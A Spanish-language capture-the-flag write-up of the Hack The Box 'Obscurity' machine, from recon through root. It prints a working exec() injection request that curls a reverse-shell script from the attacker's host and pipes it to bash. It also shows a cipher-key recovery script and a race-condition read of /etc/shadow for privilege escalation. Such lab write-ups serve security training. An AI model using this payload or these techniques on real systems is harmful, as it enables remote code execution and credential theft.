HTB{obscurity}
Summary
Buena máquina.
Usuario: Hay que encontar el código fuente de un http server
hecho en python, el cual tiene un eval
que se puede abusar via URL
, Luego, hay que explotar script el cual se encarga hacer el encrypt
de archivos, de acá sacamos una passphrase
.
Root: Explotando una condición de carrera en una implementación en python de un SSH-server
.
Recon
toor@Kali:~/Documentos/hackthebox/machines/obscurity$ cat nmap_ap.txt
# Nmap 7.80 scan initiated Thu Jan 30 23:47:31 2020 as: nmap -v -A -T5 -sC -sV -o nmap_ap.txt 10.10.10.168
Nmap scan report for obscurity.htb (10.10.10.168)
Host is up (0.20s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
| 256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_ 256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
Si entramos al 8080, obtenemos que la aplicación guarda el archivo SuperSecureServer.py
en un directorio “secreto”, lo fuzzeamos
user.txt
import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess
respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}
{body}
"""
DOC_ROOT = "DocRoot"
CODES = {"200": "OK",
"304": "NOT MODIFIED",
"400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
"500": "INTERNAL SERVER ERROR"}
MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
"ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
"js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}
class Response:
def __init__(self, **kwargs):
self.__dict__.update(kwargs)
now = datetime.now()
self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
def stringResponse(self):
return respTemplate.format(**self.__dict__)
class Request:
def __init__(self, request):
self.good = True
try:
request = self.parseRequest(request)
self.method = request["method"]
self.doc = request["doc"]
self.vers = request["vers"]
self.header = request["header"]
self.body = request["body"]
except:
self.good = False
def parseRequest(self, request):
req = request.strip("\r").split("\n")
method,doc,vers = req[0].split(" ")
header = req[1:-3]
body = req[-1]
headerDict = {}
for param in header:
pos = param.find(": ")
key, val = param[:pos], param[pos+2:]
headerDict.update({key: val})
return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}
class Server:
def __init__(self, host, port):
self.host = host
self.port = port
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind((self.host, self.port))
def listen(self):
self.sock.listen(5)
while True:
client, address = self.sock.accept()
client.settimeout(60)
threading.Thread(target = self.listenToClient,args = (client,address)).start()
def listenToClient(self, client, address):
size = 1024
while True:
try:
data = client.recv(size)
if data:
# Set the response to echo back the recieved data
req = Request(data.decode())
self.handleRequest(req, client, address)
client.shutdown()
client.close()
else:
raise error('Client disconnected')
except:
client.close()
return False
def handleRequest(self, request, conn, address):
if request.good:
# try:
# print(str(request.method) + " " + str(request.doc), end=' ')
# print("from {0}".format(address[0]))
# except Exception as e:
# print(e)
document = self.serveDoc(request.doc, DOC_ROOT)
statusNum=document["status"]
else:
document = self.serveDoc("/errors/400.html", DOC_ROOT)
statusNum="400"
body = document["body"]
statusCode=CODES[statusNum]
dateSent = ""
server = "BadHTTPServer"
modified = ""
length = len(body)
contentType = document["mime"] # Try and identify MIME type from string
connectionType = "Closed"
resp = Response(
statusNum=statusNum, statusCode=statusCode,
dateSent = dateSent, server = server,
modified = modified, length = length,
contentType = contentType, connectionType = connectionType,
body = body
)
data = resp.stringResponse()
if not data:
return -1
conn.send(data.encode())
return 0
def serveDoc(self, path, docRoot):
path = urllib.parse.unquote(path)
try:
info = "output = 'Document: {}'" # Keep the output for later debug
exec(info.format(path)) # This is how you do string formatting, right?
cwd = os.path.dirname(os.path.realpath(__file__))
docRoot = os.path.join(cwd, docRoot)
if path == "/":
path = "/index.html"
requested = os.path.join(docRoot, path[1:])
if os.path.isfile(requested):
mime = mimetypes.guess_type(requested)
mime = (mime if mime[0] != None else "text/html")
mime = MIMES[requested.split(".")[-1]]
try:
with open(requested, "r") as f:
data = f.read()
except:
with open(requested, "rb") as f:
data = f.read()
status = "200"
else:
errorPage = os.path.join(docRoot, "errors", "404.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read().format(path)
status = "404"
except Exception as e:
print(e)
errorPage = os.path.join(docRoot, "errors", "500.html")
mime = "text/html"
with open(errorPage, "r") as f:
data = f.read()
status = "500"
return {"body": data, "mime": mime, "status": status}
Que es, básicamente, un webserver
hecho en python
. :D
Podemos ver que hay un “exec” el cual podemos abusar, el procedimiento será, cerrar la comilla, inyectar nuestro payload, y luego comentar lo que sigue, exec
tomará el string y lo interpretará.
GET /'%3bos.system('curl${IFS}10.10.14.24:8000/rev.sh|bash')# HTTP/1.1
Host: 10.10.10.168:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.168:8080/css/font-awesome.min.css
Connection: close
Una vez dentro, encontramos 4 archivos interesantes bajo el /home/robert
, el cual sirve para encriptar archivos.
get_pw.py own.py passreminder.txt pass.txt password.py rev.sh
toor@Kali:~/Documentos/hackthebox/machines/obscurity/user$ cat password.py
import sys
import argparse
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')
parser.add_argument('-i',
metavar='InFile',
type=str,
help='The file to read',
required=False)
parser.add_argument('-o',
metavar='OutFile',
type=str,
help='Where to output the encrypted/decrypted file',
required=False)
parser.add_argument('-k',
metavar='Key',
type=str,
help='Key to use',
required=False)
parser.add_argument('-d', action='store_true', help='Decrypt mode')
args = parser.parse_args()
banner = "################################\n"
banner+= "# BEGINNING #\n"
banner+= "# SUPER SECURE ENCRYPTOR #\n"
banner+= "################################\n"
banner += " ############################\n"
banner += " # FILE MODE #\n"
banner += " ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
print("Missing args")
else:
if args.d:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Decrypting...")
decrypted = decrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(decrypted)
else:
print("Opening file {0}...".format(args.i))
with open(args.i, 'r', encoding='UTF-8') as f:
data = f.read()
print("Encrypting...")
encrypted = encrypt(data, args.k)
print("Writing to {0}...".format(args.o))
with open(args.o, 'w', encoding='UTF-8') as f:
f.write(encrypted)
toor@Kali:~/Documentos/hackthebox/machines/obscurity/user$ python3 get_pw.py ^C
Podemos ver del script, que este encripta ese archivo de manera simétrica (XOR)
, con una llave del usuario, por tanto, haciendo la matemática inversa, podremos llegar a la passphrase
con la cual se encryptó el archivo.
toor@Kali:~/Documentos/hackthebox/machines/obscurity/user$ cat own.py
import sys
import argparse
import string
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
print(str(x))
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key,check):
keylen = len(key)
keyPos = 0
decrypted = ""
c = 0
final_key = ""
for x in text:
for j in string.printable:
newChr = ord(x)
newChr = chr( (newChr - ord(j)) % 255 )
if newChr == check[c]:
final_key += j
print("found one: {}!\n".format(j))
break
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
c = c + 1
print(final_key)
return decrypted
with open('pass.txt') as a:
b = a.read().strip()
#with open('/usr/share/wordlists/rockyou.txt') as a:
# rock = a.read().split('\n')
#for k in rock:
# print(k)
ba = bytearray.fromhex(b).decode()
print (ba)
check = """Encrypting this file with your key should result in out.txt, make sure your key is correct!
"""
print(ba)
decrypt(ba,"asdfasdasfaf",check)
#for k in ba:
Con este pequeño script, logré sacar la passphrase
que usó el usuario para encriptar el archivo en cuestión.
Con esta passphrase
, podremos hacer el decrypt del archivo passwordreminder.txt
, ya que esta, no funcionó como password del usuario.
toor@Kali:~/Documentos/hackthebox/machines/obscurity/user$ cat get_pw.py
import sys
import argparse
import string
def encrypt(text, key):
keylen = len(key)
keyPos = 0
encrypted = ""
for x in text:
print(str(x))
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr + ord(keyChr)) % 255)
encrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return encrypted
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
c = 0
final_key = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
c = c + 1
print (decrypted)
return decrypted
with open('passreminder.txt') as a:
b = a.read().strip()
#with open('/usr/share/wordlists/rockyou.txt') as a:
# rock = a.read().split('\n')
#for k in rock:
# print(k)
ba = bytearray.fromhex(b).decode()
print (ba)
check = """Encrypting this file with your key should result in out.txt, make sure your key is correct!
"""
print(ba)
decrypt(ba,"alexandrovich")
#for k in ba:
modificando un poco el script, podremos obtener finalmente, la password del usuario.
SecThruObsFTW
user.txt:e4493782066b55fe2755708736ada2d7
root.txt
De aquí, podemos ver que tendremos permisos de sudo
bajo un archivo:
robert@obscure:~/BetterSSH$ sudo -l
Matching Defaults entries for robert on obscure:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
robert@obscure:~/BetterSSH$
robert@obscure:~/BetterSSH$ cat BetterSSH.py
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess
path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
session['user'] = input("Enter username: ")
passW = input("Enter password: ")
with open('/etc/shadow', 'r') as f:
data = f.readlines()
data = [(p.split(":") if "$" in p else None) for p in data]
passwords = []
for x in data:
if not x == None:
passwords.append(x)
passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
with open('/tmp/SSH/'+path, 'w') as f:
f.write(passwordFile)
time.sleep(.1)
salt = ""
realPass = ""
for p in passwords:
if p[0] == session['user']:
salt, realPass = p[1].split('$')[2:]
break
if salt == "":
print("Invalid user")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
salt = '$6$'+salt+'$'
realPass = salt + realPass
hash = crypt.crypt(passW, salt)
if hash == realPass:
print("Authed!")
session['authenticated'] = 1
else:
print("Incorrect pass")
os.remove('/tmp/SSH/'+path)
sys.exit(0)
os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
traceback.print_exc()
sys.exit(0)
if session['authenticated'] == 1:
while True:
command = input(session['user'] + "@Obscure$ ")
cmd = ['sudo', '-u', session['user']]
cmd.extend(command.split(" "))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
o,e = proc.communicate()
print('Output: ' + o.decode('ascii'))
print('Error: ' + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
robert@obscure:~/BetterSSH$
Poniento atención, el script abre el /etc/shadow
, y lo copia temporalmente en /tmp/SSH
, si somos lo suficientemente rápidos, podremos leero:
EZ !
Crackeando esto, obtenemos la password del root.
robert@obscure:~/BetterSSH$ su -
Password:
root@obscure:~# id
uid=0(root) gid=0(root) groups=0(root)
root@obscure:~# ls -la
total 68
drwx------ 6 root root 4096 Nov 26 16:36 .
drwxr-xr-x 24 root root 4096 Oct 3 15:52 ..
lrwxrwxrwx 1 root root 9 Sep 28 23:30 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Sep 29 10:52 .cache
drwx------ 3 root root 4096 Sep 29 10:52 .gnupg
-rw------- 1 root root 32 Nov 26 14:01 .lesshst
drwxr-xr-x 3 root root 4096 Oct 3 15:52 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 86 Nov 26 16:15 .python_history
-rw-r--r-- 1 root root 33 Sep 25 21:28 root.txt
-rw-r--r-- 1 root root 66 Nov 26 14:30 .selected_editor
drwx------ 2 root root 4096 Sep 24 22:09 .ssh
-rw------- 1 root root 16629 Nov 26 16:36 .viminfo
root@obscure:~# cat root.txt
512fd4429f33a113a44d5acde23609e3
root@obscure:~#
root.txt:512fd4429f33a113a44d5acde23609e3